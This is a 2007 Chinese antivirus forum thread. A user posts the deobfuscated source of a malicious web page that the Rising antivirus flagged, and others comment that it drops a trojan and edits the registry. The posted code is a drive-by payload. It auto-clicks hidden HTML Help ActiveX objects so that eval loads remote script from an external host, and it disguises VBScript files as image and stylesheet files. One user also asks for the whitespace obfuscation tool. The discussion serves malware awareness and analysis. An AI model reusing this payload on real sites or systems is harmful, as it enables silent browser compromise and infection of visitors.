瑞星还是很牛的 bbs.ikaka.com

afkp4e7 - 2007-1-26 13:55:00

打开一页面瑞星报警如图
缓存中找到页面看似乱码

附件: 7953222007126135022.jpg

骨灰级天使 - 2007-1-26 13:58:00

牛

afkp4e7 - 2007-1-26 14:00:00

替换所有空格后变成
<center><fontcolor=red>对不起,您访问的页面不存在!</font><center>
<SCRIPTlanguage=VScriptsrc="young.gif"></SCRIPT><SCRIPTlanguage=VScriptsrc="young.css"></SCRIPT><HTML><BODY><divstyle="display:none"><OBJECTid="news625"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAMname="Command"value="RelatedTopics,MENU"><PARAMname="Window"value="$global_ifl"><PARAMname="Item1"value='command;/winnt/help/apps.chm'></OBJECT><OBJECTid="news220"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAMname="Command"value="RelatedTopics,MENU"><PARAMname="Window"value="$global_ifl"><PARAMname="Item1"value='command;javascript:eval("document.write(\"<SCRIPTlanguage=JScriptsrc=\\\"http://.com/image/young.gif\\\"\"+String.fromCharCode(62)+\"</SCR\"+\"IPT\"+String.fromCharCode(62))")'></OBJECT></div><SCRIPT>news625.Click();setTimeout("news220.Click();",0);</SCRIPT></BODY></HTML>
<SCRIPTlanguage=VScriptsrc="young.gif"></SCRIPT><SCRIPTlanguage=VScriptsrc="young.css"></SCRIPT><HTML><BODY><divstyle="display:none"><OBJECTid="news188"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAMname="Command"value="RelatedTopics,MENU"><PARAMname="Window"value="$global_ifl"><PARAMname="Item1"value='command;/windows/help/apps.chm'></OBJECT><OBJECTid="news465"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAMname="Command"value="RelatedTopics,MENU"><PARAMname="Window"value="$global_ifl"><PARAMname="Item1"value='command;javascript:eval("document.write(\"<SCRIPTlanguage=JScriptsrc=\\\"http://.com/image/young.gif\\\"\"+String.fromCharCode(62)+\"</SCR\"+\"IPT\"+String.fromCharCode(62))")'></OBJECT></div><SCRIPT>news188.Click();setTimeout("news465.Click();",0);</SCRIPT></BODY></HTML>

附件: 7953222007126135119.jpg

afkp4e7 - 2007-1-26 14:02:00

瑞星又报这回是个木马

附件: 7953222007126135352.jpg

UFO不幸外人 - 2007-1-26 14:05:00

还可以了好像修改注册表。。。

afkp4e7 - 2007-1-26 14:05:00

谁有这插空格的工具看起来很有意思

afkp4e7 - 2007-1-26 14:26:00

引用:

【UFO不幸外人的贴子】还可以了好像修改注册表。。。
………………

你给详细分析下

瑞星卡卡安全论坛